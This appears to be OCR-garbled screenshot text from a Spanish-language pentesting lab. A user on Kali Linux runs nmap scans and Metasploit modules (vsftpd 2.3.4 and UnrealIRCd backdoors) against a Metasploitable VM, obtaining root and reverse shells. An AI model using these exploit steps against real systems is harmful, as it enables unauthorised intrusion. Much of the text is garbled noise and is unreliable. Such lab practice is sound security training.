2011-07-05 L -+ | vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) Remote Unix Metasploit
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Showing 1 to 2 of 2 entries (filtered from 46,496 total entries) o
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https://www.exploit-db.com/exploits/17491

/home/alfonso/Descargas
1sfdb init
[+] Starting database
[+] Creating database user 'msf'
Ingrese la contrasefa para el nuevo rol:
Ingrésela nuevamente:
[+] Creating databases 'msf'
[+] creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml"'
[+] Creating initial database schema

/home/alfonso/Descargas
1sfdb status
e postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/usr/lib/systemd/system/postgresql.service; disabled; preset: disabled)
Active: active (exited) since Mon 2026-03-09 19:52:04 CET; 18s ago
Invocation: 3b6844177c17498ch1420802be6dakt6s
Process: 6705 ExecStart=/bin/true (code=exited, status=@/SUCCESS)
Main PID: 6705 (code=exited, status=0/SUCCESS)
2M S
7ms

4 kali systemd[1]: Starting postgresql.service - PostgreSQL RDBMS...
:04 kali systemd[1]: Finished postgresql.service - PostgreSQL RDBMS.

PID USER FD  TYPE DEVICE SIZE/OFF NODE NAME
6684 postgres 6u IPv6 80779 @t0 TCP localhost:5432 (LISTEN)
postgres 6684 postgres 7u IPv4 80780 0t0 TCP localhost:5432 (LISTEN)

UID PID PPID C STIME TTY STAT TIME CMD
H 6684 1 0 19:52 ? Ss 0:00 /usr/lib/postgresql/18/bin/postgres -D /var/lib/postgresql/18/main -c config_|

acted configuration file (/usr/share/metasploit-framework/config/database.yml)

/home/alfonso/Descargas

/home/alfonso/Descargas
~ons

Metasploit tip: Use the resource command to run commands from a file

MMMM MMMM
MMMMMM MMMMMM
MMMMMMMMM .~ MMMMMMMMM
MMM MMMMMMMMMMM MMMM
MMM MMMMM MMM
MMM MMM MMM
MMM MMM MMM
MMM MMM MMM

WM MX

M ]

=[ metasploit v6.4.99-dev

=[ P - 1,317 auxiliary - 1,683 payloads
=[ 433 post - {9 encoders - 13 nops - 9 evasion

’it Documentation: https://docs.metasploit.com/
asploit Framework is a Rapid7 Open Source Project




/home/javier/Descargas

Metasploit tip: The use command supports fuzzy searching to try and
select the intended module, e.g., use kerberos/get_ticket or use
kerberos forge silver ticket

[ t LA 110 eV
2,607 exploits - 1,325 auxiliary - 1,707 payloads
429 post - 49 encoders - 14 nops - 9 evasion

1 ce e
1 ce e
Metasploit Documentation: https://docs.metasploit.com/

The Metasploit Framework is a Rapid7 Open Source Project

msf >

/home/javier/Descargas

init
[+] Starting database
WARNING: 1la base de datos «postgres» tiene una discordancia de version de ordenamiento (“collation”)
DETALLE: La base de datos fue creada usando la version de ordenamiento 2.41, pero el sistema operative provee la vers
SUGERENCIA: Reconstruya todos los objetos en esta base de datos que usen el ordenamiento por omisidn y ejecute ALTER
lecta de la biblioteca.
[+] Creating database user 'msf’
jIngrese 1la contrasefia para el nuevo rol:
Ingrésela nuevamente:
la base de datos «postgres» tiene una discordancia de version de ordenamiento (“collation”)
La base de datos fue creada usando la versidn de ordenamiento 2.41, pero el sistema operativo provee la vers

SUGERENCIA: Reconstruya todos los objetos en esta base de datos que usen el ordenamiento por omision y ejecute ALTER
ecta de la biblioteca.

WARNING: 1la base de datos «postgres» tiene una discordancia de version de ordenamiento (“collation”)

DETALLE: La base de datos fue creada usando la version de ordenamiento 2.41, pero el sistema operativo provee la vers
SUGERENCIA: Reconstruya todos los objetos en esta base de datos que usen el ordenamiento por omisién y ejecute ALTER

/home/javier/Descargas

.service - PostgreSQL RDBMS
Loaded: loaded (/usr/lib/systemd/system/postgresql.service; disabled; preset: disabled)
Active: tive (exited) since Mon 2026-03-09 19:55:47 CET; 23s ago
Invocation: ea75bc7d3c714ef29ee93dafc1a269d5
Process: 20036 ExecStart=/bin/true (code=exited, status=@/SUCCESS)
Main PID: 20036 (code=exited, status=@/SUCCESS)
Mem peak: 2M
: 8ms

47 kali systemd[1]: Starting pestgresql.service - PostgreSQL RDEMS...
kali systemd[1]: Finished postgresql.service - PostgreSQL RDEMS.

(20 USER FD  TYPE DEVICE SIZE/OFF NODE NAME
postgres 19997 postgres 6u IPv6 99094 0t0 TCP localhost:5432 (LISTEN)
postgres 19997 postgres 7u IPv4 99095 0t0 TCP localhost:5432 (LISTEN)

PID PPID C STIME TTY STAT  TIME CMD
19997 1 0 19:55 ? Ss 0:00 /usr/lib/postgresql/18/bin/postgres -D /var/1ib/postgresql/18/main -c config_file=/etc/postgresql/18/main/postgresql.conf

+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)

/home/javier/Descargas
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search msoffice

ng Modules

Disclosure Date Rank Check Description

_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow

jInteract with a module by name or index. For example info @, use @ or use exploit/wil /filefo

msf > |

msf > search vsftpd

Disclosure Date Rank k Description

auxiliary/dos/ftp/NSftpd_232 2011-02-03 normal VSFTPD 2.3.2 Denial of Service
exploit/unix/ftp/usftpd_234_backdoor 2011-07-03 € 1lent VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use

msf >

AcUt RUNDWIW+HWGIWUqIIOWX Y Whe W RNURZ HE Whe IJW2 ¢ WE W 11

msf > search vsftpd 2.3.4

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/unix/ftp/WSFEpd_234_backdoor 2011-07-03 L1 No VSFTPD v2.3.4& Backdoor Command Execution

Interact with a module by name or index. For example info

msf >

oWt qCWIG W+ Go YRaWhe JWGYIT R¢ OVt W@ ¢ceHadd FOCYH IO 13t He | 1
ERW6EHIJOYL a
mMille t JWM

msf > use @

No payload configured, defaulting to cmd/unix/interact
msf exploit( ) > I
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> use @
No payload configured, defaulting to cmd/unix/interact
exploit( ) > info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <xghdm.io>
MC <mc@metasploit.com>

Module side effects:
unknown-side-effects

Module stability:
unknown-stability

Module reliability:
unknown-reliability

Available targets:
Id Name

=> 0@ Automatic

Check supported:
No

Basic options:
Name Current Setting Required Description
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Payload information:
Space: 2000
Avoid: @ characters

Description:
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.

References:
https://nvd.nist.gov/vuln/detail/CVE-2011-2523

("] Automatic

Check supported:
No

Basic options:
Name Current Setting Required Description
RHOSTS The target host(s), see https://docs.metasploit.(
RPORT 21 The target port (TCP)

Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the VSFTPD downlog
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.

References: NS
https://nvd.nist.gov/vuln/detail/CVE-2011-2523
0SVDB (73573)
http://pastebin.com/AetT9sS5
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.htm

View the full module info with the info -d command.

msf exploit( ) >
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MW Jagl 6 Yt gt WUN®=IONZ Y ONMIONNN

msf exploit( ) > set rhosts 192.168.10.111
rhosts => 192.168.10.111
msf exploit( ) > info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2811-07-03

Provided by:
hdm <xghdm.io>
MC <mcgmetasploit.com>

Module side effects:
unknown-side-effects

Module stability:
unknown-stability

Module reliability:

QWi el GUWEWRONY W ¢ W2 136G VY Whe WWAIt qCWHYO3 Nl ¢T VY
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) > set payload

payload => cmd/unix/interact

msf exploit( ) > run
192.168.10.111:21 - Banner: 220 (vsFTPd 2.3.4)
192.168.10.111:21 - USER: 331 Please specify the password.
Exploit completed, but no session was created.
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msf exploit( ) > run
192.168.10.111:21 - Banner: 220 (vsFTPd 2.3.4)
192,168.10.111:21 - USER: 331 Please specify the password.
192.168.10.111:21 - Backdoor service has been spawned, handling...

192.168.10.111:21 - UID: uid=0(root) gid=0(root)
Found shell.

Exploit completed, but no session was created.
Command shell session 1 opened (192.168.10.109:36801 -> 192.168.10.111:6200) at 2026-03-09 21:07:30 +0100
himsf exploit( ) > l
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/home/alfonso
1 elpais.com

/home/alfonso
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cupsfilter

[curl | File write || File read || Upload || Download || Library load .
dash
date
dc shell
dd | File write || File read |

debugfs [

Azt WedVYaUTY! WHYUWHe | GWGe WT YWa I We UW3HG I YW JL

Aplicaciones  Lugares 10 de mar 19:19 @& 2% @12% 1T00k8 L02kB O«

alfonso@kali: /etc

networks
inputrc nfs.conf rpc usb_modeswitch.conf

debconf.conf nftables.conf rygel.conf
debian_version issue vdpau_wrapper.cfg

issue.net nikto.conf
deluser.conf nsisconf.nsh

nsswitch.conf screenrc
wgetrc

dhcpced. conf odbc.ini searchsploit_rc

kernel-img.conf odbcinst.ini

sensors3.conf xattr.conf
e2scrub.conf
1d.so.cache services
1d.so.conf
shadow
legion.conf shadow- zsh_command_not_found
libao.conf shells
libaudit.conf pam.conf

nano legion.conf

-[/etc]
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GTFOBIins

GTFOBIns is a curated list of Unix-like executables that can be used to bypass local security

restrictions in misconfigured systems.

The project collects legitimate functions of Unix-like executables that can be abused to getthe

fx2k break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn
bind and reverse shells, and facilitate other post-exploitation tasks.

GTFOBIns is a joint effort by Emilio Pinna and Andrea Cardaci, and many other contributors. Everyone can get
involved by providing additional entries and techniques!

IF you are looking for Windows binaries you should visit LOLBAS.

Please note that this is not a list of exploits, and the programs listed here are not vulnerable per se, rather,
GTFOBins is a compendium about how to live off the land when you only have certain executables
available.

GitHub | Get involved | Contributors | JSON API | MITRE ATT&CK® Navigator
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Command ][ Reverse shell H Bind shell H File write ]l File read [ Download ]

Library load || Privilege escalation
Unprivileged || Sudo

’7 Contexts

Filter
(Search among 478 e tables: [<name>]/[<function>)/[<context>] ‘
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Executable Functions
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metasploit que es X & @ Q
ModolA Todo Imagenes Videos Noticias Videos cortos  Libros Mas ~ Herramientas ~

4 Vista creada con IA

Metasploit es el framework de pruebas de penetracién (pentesting) de codigo abierto

mas utilizado en ciberseguridad, disefiado para encontrar, explotar y validar
vulnerabilidades en sistemas. Propiedad de Rapid7, permite a profesionales de
seguridad simular ataques, ejecutar exploits y realizar acciones post-explotacién para
fortalecer las defensas de Tl. = campusinteracional de Cibersegurid... <&

Aqui estan los detalles clave:

+ ¢Para qué sirve? Se utiliza para identificar debilidades de seguridad, realizar
auditorias y comprobar si un sistema es vulnerable antes de que lo haga un atacante

real.

+ Componentes Principales:

Metasploit. La herramienta esencial en
Ciberseguridad

iil Metasplo

* En el mundo de la Ciberseguridad, una de las
herramientas mas reconocidas y utilizadas es...

@ Campus Internacional de Ciberseg... 3

;Qué es Metasploit? Marco, Meterpreter y
guia de deteccion

Cuéndo utilizar cada marco. Metasploit destaca
en la validacién de vulnerabilidades y ofrece...

Q vectranl

o Exploits: Codigos que aprovechan vulnerabilidades especificas.

o Payloads (Cargas utiles): Codigo que se ejecuta en el sistema objetivo tras una
explotacion exitosa (ej. Meterpreter para control remoto).

Metasploit - Universidad Complutense de Madrid

Descripcion. ... Descripcion basica: Metasploit es un proyecto
“open source” de seguridad informética que proporciona...
clear

o Auxiliary modules:ldescubrimientu y sniffing.

+ Versiones: Ofrece el Metasploit Framework gratuito (cédigo abierto) y Metasploit
Pro (version comercial avanzada).

+ Funcionalidades: Incluye una enorme base de datos de exploits, creacion de
cargas Utiles personalizadas y post-explotacion (control de pantalla, descarga de
archivos). = campus Internacional de Cibersegurid.. +5

Es una herramienta estandar en sistemas como Kali Linux para la seguridad

W Universidad Complutense de Madr,

Mostrar todo

ofensiva. = campus internacional de Cibersaguridad +1
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d Dd d d
/etc

sfupdatse
sfupdate is L@ longer supported when Metasploit is part of the operating
jsystem. Please use 'apt update; apt install metasploit-framework'

/etc
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open 192.168.10.111

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-11 18:56 +0100
Nmap scan report for 192.168.1@.111
Host is up (0.8027s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp  open telnet
25/tcp  open smtp
53/tcp  open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresqgl
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown
MAC Address: 08:00:27:25:56:10 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds
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PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
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22/tcp  open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
ssh-hostkey:

OCWiVYW2RA VY
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Na@ =M=2

v 192,168.1.72

Nmap Out pat

saftpd 2.3

OpensSH 4.7pl Doabian 8

(1) 192.168.1.72
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[sudo] contrasena para alfonso:
/home/alfonso

Metasploit tip: Add routes to pivot through a compromised host using route
add <subnet> <session_id>

[E3TATSTITATHY
[RARNXNENE

[ netasploit veo. 39 =3
$ = [ 2,572 exploits - 1,317 auxiliary - 1,683 payloads
+ == ===[ 433 post - 49 encoders - 13 nops - 9 evasion
Metasploit Documentation: https://docs.metasploit.com/

The Metasploit Framework is a Rapid7 Open Source Project

Y Filters T Reset AD

ct | openssh 4 5

Processing.

Metasploit Documentation: https://docs.metasplo
The Metasploit Framework is a Rapid7? Open Sourc

msf > search openssh 4.7
No results from s
nsf > []

MW 3¢l HEWYGWUL + 6WNIOTIOW YW It 2dat FOWeé e W W+ G YRal
é1We U¢ W@ed WTRZHIMIGE | ¢ W2 131 + RYUWt Wwa w0y 13t Wi W 10z WE

OpenSSH < 6.6 SFTP (x64) - Command Execution

EDB-ID: CVE: Author: Type:

ANN HORN REMOTE

EDB Verified: x Exploit: ¢ / {}
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sderine ninfa.b} ([({a)<(d))7(al:(b}])
sTtp session sTip

Et qCWuUWoe€oWNYT Yt WavYt WRUAG2T 3t Wt YOWG RAI 31 Rét LW
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int J Loar B §
“A argo ) argv
arge ! 4 fprintiistder
1
ha Larget host argvll

ha Larget user argvi2
I shell commands argv !l

ssh session my ssh session
nt rc
[ password
1
my_ssh_session =
f Imy_ssh_session == NULL) exiti-1
10t Timy_ssh_session. SSH_OPTIONS HOST. target_host
et imy_ssh_session. SSH_OPTIONS_USLCR, target_user

rc = ssh_connect/my_ssh_session

T lrc != SSH_OK) Tprintfistderr Lrro
(T my _Ssh_session exit(-1
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~fDescargas

~/Descargas

L5000.c
A5000.c:7:10: Libssh/1ibssh.h: Mo existe el fichero o €l directorio
7 | winclede
|
compilation terminated.
L

~/Descargas
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[swdo) contrasefa para alfonse:
/home/al fonse/Descargas
install libssh
M s¢ ha podido localizar el paquete libssh

/home/al fonse/Descargas
search 1ibssh

MWe GaqWRUt qedG WG RAL + 6o YWd e WIUHz Uql ¢ 1O
ceHUWe Ow
MLWE Gallt D¢l AEWIRAL t 6a

/A14-rolling 0.3.9-1082 aedos

Rative bindings to the 1ibssh2 Library - Rust source code

Skali-rolling 0.9.4-1+b2 ani6d
Bindings to libssh2 for interacting with SS5H servers amd executing remote com

/kali-rolling €.1 b1 amd64 [actualizable desde: €.11.3-1]
tiny C SSM lltrax,' {OpenSSL vor )

BURTRE/kali-rolling 9.11.3-1+b1 andbk
tiny C SSM Library - Development files (OpesSSL flavor)

/kali=rolling 2,11,3-1 all
tiny C SsH Library - Docunentation files

/kali-rolling 1.11.1-1+b1 amd6

9% sgH2 client-side Uibrary (development headers)

1164 /kali-rolling 1.11.1-1¢b1 amd64 [actualizable desde: 1.11.1-1]
S5H2 client-side Llibrary
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/home/alfonse/Descargas
dev
Ling 9.11,3-1+b1 and6d
tiny € SSH Library - Development files (OpenSSL flavor)

/home/alfonsa/Descargas

mWe GqWRUF e & Wa RAL + 6
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root@kalk: home/alfonso

| »

open domain 1SC BIND 9.

I
1
|
|
|
I
I
1

erach bind 9.4
' command: serach. Did you meom ? Ren th conmand for nore

v D
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MWt el A6 WAROT wotonto=w! woywylrz 3Uq!l ¢ 1O
MWt Wel #SWARUT Wotonw! WOYWJIUrR2W3Uq!l ¢ 1O
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a root@kalk: home/atfonso Q

124 payload/windows/cus ton/BIll_nonx_tcp
4 nermal wo windows shellcode stage, BINE TCP Stager (Mo
NX or Winj)
125 suxiliary/gather/x11_keyboard_spy
1997-07-01 normal
126
2007-06-05 good Ko Yahoo! Messenger 8.1.0.248 ActiveX Cemtrol 8
uffer Overflow
127 \, target: Windows XP SP8/SP1 Pro English

\_ targer: windows 2000 Pro English All

auxiliary/scanner/rservices/rexec_login

ormal Ko rexec Authentication Scanmer
suxiliary/scanner/rservices login

noraal No Authentication Scammer
suxiliary/scanner/rservices/rsh_login

nornal Ko rsh Authentication Scanmer

Interact with a2 modwlc by name or imdex, For example

nsf > )

OWOYWIUH2 WUql ¢wleT ¢s
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ndows Interactive Pomershell Session, Bind TCP
113 payload/windews /meterp.
ndows Meterpreter (Reflective Imjection), Mind T
115 payload/windows/patchupmeterpreter/bind .
ndows Meterpreter (skape/jt Injectiom), Bimd TCP
115  payload/windows/upexec/Bil_ipve_tcp
ndows Upload/Execute, BRI 1Pve TCP
116  payload/windews/upexec/BEN_1
ndows Upload/Execute, BRI IPv6 TCP Stag
117  payload/windews /upexec/Bi_ponx_tep
ndows Upload/Execute, BRI TCP Stager (No NX or
118 payload/windews/upexec/Bind_tcp_rck
ndows Upload/Execute, Bapd TCP Stager (RC4 Stage
119 payload/windows/upexec/Bimd_tcp
ndows Upload/Execute, BANE TCP Stager (Windows x
120 payload/windews/upexec/Bid tep uuid
nokms U xecute, CP Stager with UUID
Bind_hidden_ipkno
pload/Execute, Hidden Bl Ipknock TCP St
payload/windows/upexec/BIld_hidden_top
ndows Upload/Execute, Hidden Bilnd TCP r
123  peyload/windews xec/BAN_naned_pipe
ndows Upload/Execute, Windows x86 BLM Named Plp
124 payload/windews/custon/Bind_monx_tcp
shellcode stage, Bimd TCP Stager (Ko MX or
auxiliary/gather/x11_keyboard_spy
1 Keylogger
126 exploit/windews/browser/yahoomessenger s
hoo! Messenger 8.1.8.249 ActiveX Control Buffer {
_ target: Windows XP SPO/SP1 Pro Engl
target: Windows 2000 Pro English Al
iary/scanner/rservices/rexec_login
xec Authentication scanmer
130 auxiliary/scanner/raervices/rlogin_login
ogin Authentica canner
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131 amxiliary/scanner/rservices/rsh_login
h Authemticatiom Scamner

Interact with a module by nane or index. For ex

wat > search SRR
B0 results fr. earts
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asf exploit( ) > info

Name: UnrealIRCD 3 1 Back r Command Execution
Module: t/un Jumreal_ircd_32381_backdeor
Platforn:
Arch:
Privileged:
License: Netasploit Frasework License (BSD)
Rank: Excellemt
Disclosed: 2010-06-12

Provided by:
hda <xjhda. io>

msf exploit( ) > set rhosts 192.168.1.7
rhosts => 192.168.1.72
msf exploit( ) > show target
Invalid parameter "target™, use "show -h" for more information
msf exploit( ) > show payloads
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View the full module info with the info, or info -d command.

nsf exploit( ) > set rhosts 192.168.1.
rhosts => 192.168.1.72
msf exploit( ) > show target
Invalid parameter "target”, use "show -h" for more information
nsf exploit( ) > show payloads

Conpatible Payload

# Disclosure Date Rank Description
@ payload/cnd/unix/adduser . normal Add user with useral
1 payload/cmd/unix/bind_perl . normal Unix Command Shell,

erl)

2 payload/cnd/unix/bind_perl_ipv6 . normal Unix Command Shell,
erl) IPVG

3 payload/cnd/unix/bind_ruby i normal Unix Command Shell,
uby)

4 payload/cnd/unix/bind_ruby_ipvé o normal Unix Command Shell,
uby) IPVG

5  payload/cmd/unix/generic . normal Unix Command, Gener|
tion

[Bpay L oad/cnd/unix/reverse . normal Unix Command Shell,
TCP (telnet

7 paylol/cnd/unix/reverse_bash_telnet_ssl . normal Unix Command Shell,
(telnet)

8  payload/cnd/unix/reverse_perl o normal Unix Command Shell,
a Perl

9 payload/cnd/unix/reverse_perl_ssl 5 normal Unix Command Shell,
( perl)

10 payload/cnd/unix/reverse_ruby 5 normal Unix Command Shell,
a Ruby)

11 payload/cnd/unix/reverse_ruby_ssl . normal Unix Command Shell,
(via Ruby)

12 payload/cnd/unix/reverse_ssl_double_telnet . normal Unix Command Shell,
TCP SSL (telnet)
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nsf exploit( )> 1
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msf exploit( ) > set payload 6
payload => cmd/unix/reverse

msf exploit( ) > exploit
192.168.1.72:6667 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit( VS N
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msf exploit( ) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description

CHOST The local client address

CPORT The local client port

Proxies A proxy chain of format type:host:port[,type:host:port][...]. Supported proxi
es: socks4, socks5, socks5h, http, sapni

RHOSTS  192.168.1.72 The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bas
ics/using-metasploit.html

RPORT 6667 yes The target port (TCP)

Payload options (cmd/unix/reverse):
Name Current Setting Required Description

LHOS The listen address (an interface may be specified)
LPORT 4444 The listen port

Exploit target:
Id Name

© Automatic Target

View the full module info with the info, or info -d command.

msf expfoit( ) > l
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msf exploit( ) >ip a
exec: ip a

<LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet /8 scope host lo
valid_lft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_1ft forever preferred_lft forever
<BROADCAST ,MULTICAST ,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default gqlen 1000
link/ether 08:00:27:55: brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic noprefixroute eth@
valid_1ft 41128sec preferred_1ft 41128sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever
msf exploit( ) > set lhost 192.168.1.75
lhost => 192.168.1.75
msf exploit( ) > l
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msf exploit( ) > exploit
Started reverse TCP double handler on 192.168.1.75:4444
192.168.1.72:6667 - Connected to 192.168.1.72:6667...
rirc.Metasploitable.LAN NOTICE AUTH :**x Looking up your hostname...
rirc.Metasploitable.LAN NOTICE AUTH :***x Couldn't resolve your hostname; using your IP address instead
192.168.1.72:6667 - Sending backdoor command...
Accepted the first client connection...
Accepted the second client connection...
Command: echo wQnxPO7gwzsbalgt;
Writing to socket A
Writing to socket B
Reading from sockets...
Reading from socket B
B: "wQnxPO7gwzsbalgt\r\n"
Matching...
A is input...
Command shell session 1 opened (192.168.1.75:4444 -> 192.168.1.72:43740) at 2026-03-12 19:30:14 +0100
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Donation

LICENSE

aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf

doc

help.conf

ircd.log

ircd.pid

ircd.tune

modules

networks
spamfilter.conf
tmp

unreal
unrealircd.conf
pud

/etc/unreal

whoami

root

x ¢cUAcOVYt We UL
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EYQ Yt WJIaGW YVYaqto

script /dev/null bash

sh-3.2# 1s

Donation badwords.quit.conf ircd.log spamfilter.conf
LICENSE curl-ca-bundle.crt ircd.pid tmp

aliases dccallow.conf ircd.tune unreal
badwords.channel.conf doc modules unrealircd.conf
badwords.message.conf help.conf networks

sh-3.2# ||

OW! ¢ WGe It W RUOT YW YYqaAWWt q¢a¥Yt Wi yOql YW WESYT Wa Vi
ERWGcUAcGY!t a

MWE R qYI ! a



sh-3.2# history
1 1s

2 history
sh-3.2# ||
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sh-3,2# history
1 1s
2 history
sh-3.2# cd /home
sh-3.2# 1s
ftp msfadmin service user
sh-3.2# cd user
sh-3.2# ns
sh: s: command not found
1ssh-3.2#1s
sh: 1ls: command not found
sh-3.2# 1s
sh-3.2# pwd
/home/user
sh-3.2# cd ..
sh-3.2# ||

Yt WTen¢cUT Y.
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exit
“c
Abort session 1? [y/N] vy

192.168.1.72 - Command shell session 1 closed. Reason: User exit
msf exploit( ) > l

N

Scan Tools Profile Help

Target: 192.168.1.72

Command: | nmap =14 -A -v 192.168.1.72

NMW Nl WPt R2YAWI ¢ GRT Y
all7et AcWIUWG VYt WGa2 I qYt WGI RUARGE 010t Allue WU Y WG F
Al YA¢ca VYt WYql YwWwAarYacecUOT Y



Target: 192.168.1.72

Command: nmap -

Scan Tools Profile Help
Target: 192.168.1.72 - Profile: Cancel

Comman nmap -sV -p - -TS -v 192.168.1.72

Hosts Services Nmap Output Ports / Hosts Topology Host Details

os Host 3 nmap -T5 -sV -p- -v 192.168.1.72

8192368172 1 Gtarting Nmap 7.95 ( (NETESYITIETOR ) at

MM Loaded 47 scripts for scanning.

Initiating ARP Ping Scan at 19:35

scanning [CYISUTIWE (1 port]

Completed ARP Ping Scan at 19:35, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:35
Completed Parallel DNS resolution of 1 host. at 19:35, 0.01s elapsed
Initiating SYN Stealth Scan at 19:35

Scanning [CPIRTLEWF) (65535 ports]

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Riscoverad open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Discovered open port

Completed SYN Stealth Scan at 19:35, 1.60s elapsed (65535 total ports)
Initiating Service scan at 19:35

ocWIUrR2WUq! YINY ) ¥ DG 2 LIGe VI W2 1J] Wad VYt WPt WGe I q Vi

192.168.1.72 Profile:

nd:

an Tools Profile Help

Target: 192.168.1.72 Profile:

Command: nmsz




/home/alfonso

os Host - -p--T5-v192.168.1.72

ANTOZEINTEN 1 ting nap 7.95 ( ) at
MM Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 19:37
Scanning [1 port]
Completed ARP Ping Scan at 19:37, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:37
Completed Parallel DNS resolution of 1 host. at 19:37, 0.01s elapsed
Initiating SYN Stealth Scan at 19:37
Scanning [65535 ports]
i open port 53/tc
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port 513/tcp on [CYISULISEYE!
open port 514/tcp on ICYIRUTISEVE

I T AR (L VA T Il 192 . 168. 1. 72
Completed SYN Stealth Scan at 19:37, 1.43s elapsed (65535 total ports)
Initiating Service scan at 19:37

22U DWOYt Yl Y WOYW WGeaVYt WayYN!l ¢l WIGWI+GaYRaqLlbE
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I e e e g e
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X -
445/tcp open netbios-ssn Samba smbd 3.X -
512/tcp open netkit-rsh rexecd
513/tcp open
514/tcp open
1699/tcp open
1524/tcp open bindshell
2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open fitp ProFTPD 1.3.1]

3366/tcp open mysql MySQL 5.0.51a-3ubuntu5

3632/tcp open distccd distccd vl ((GNU) 4.2.4 (Ubuntu 4.2.4-lubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd,
6697/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote ISP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb
41458/tcp open status 1 (RPC #100024)
58871/tcp open mountd 1-3 (RPC #100005)

CEEAQ /+rn anan A ema emil laccnath avms vans o4 el

workgroup: WORKGROUP)
workgroup: WORKGROUP)




GOOQ'C que es distced

Todo

4 Vista creada con IA

distced es el servidor de compilacion distribuida para disERIEENIEGIREY
trata de un programa que se ejecuta en las maquinas de la red (nodos

"voluntarios") que van a ayudar a compilar codigo fuente (C, C++,

Objective C a un nodo clie , permitiendo
enormemente la compilacion de proyectos grandes. @ reddit +4
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210/ Lp upTn wuyan,
514/tcp open tcpwrapped

1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2849/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.6.51a-3ubuntub|
3632/tcp open distccd ESTas vl ((6NU) 4.2.4 (Ubuntu 4.2.4-1u

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
59088/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

x YWAzt A#cGYt WIUWE+GUYqq?2c¢cqcHet Da

Verified Has App Y Filters T. Reset All

Show| 15~ Search: | distccd ‘
Datem D A V Title Type Platform Author
k
No matching records found '
Showing 0 to 0 of 0 entries (filtered from 46,496 total entries) FIRST PREVIOUS NEXT LAST
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msf > search distccd

Matching Modules

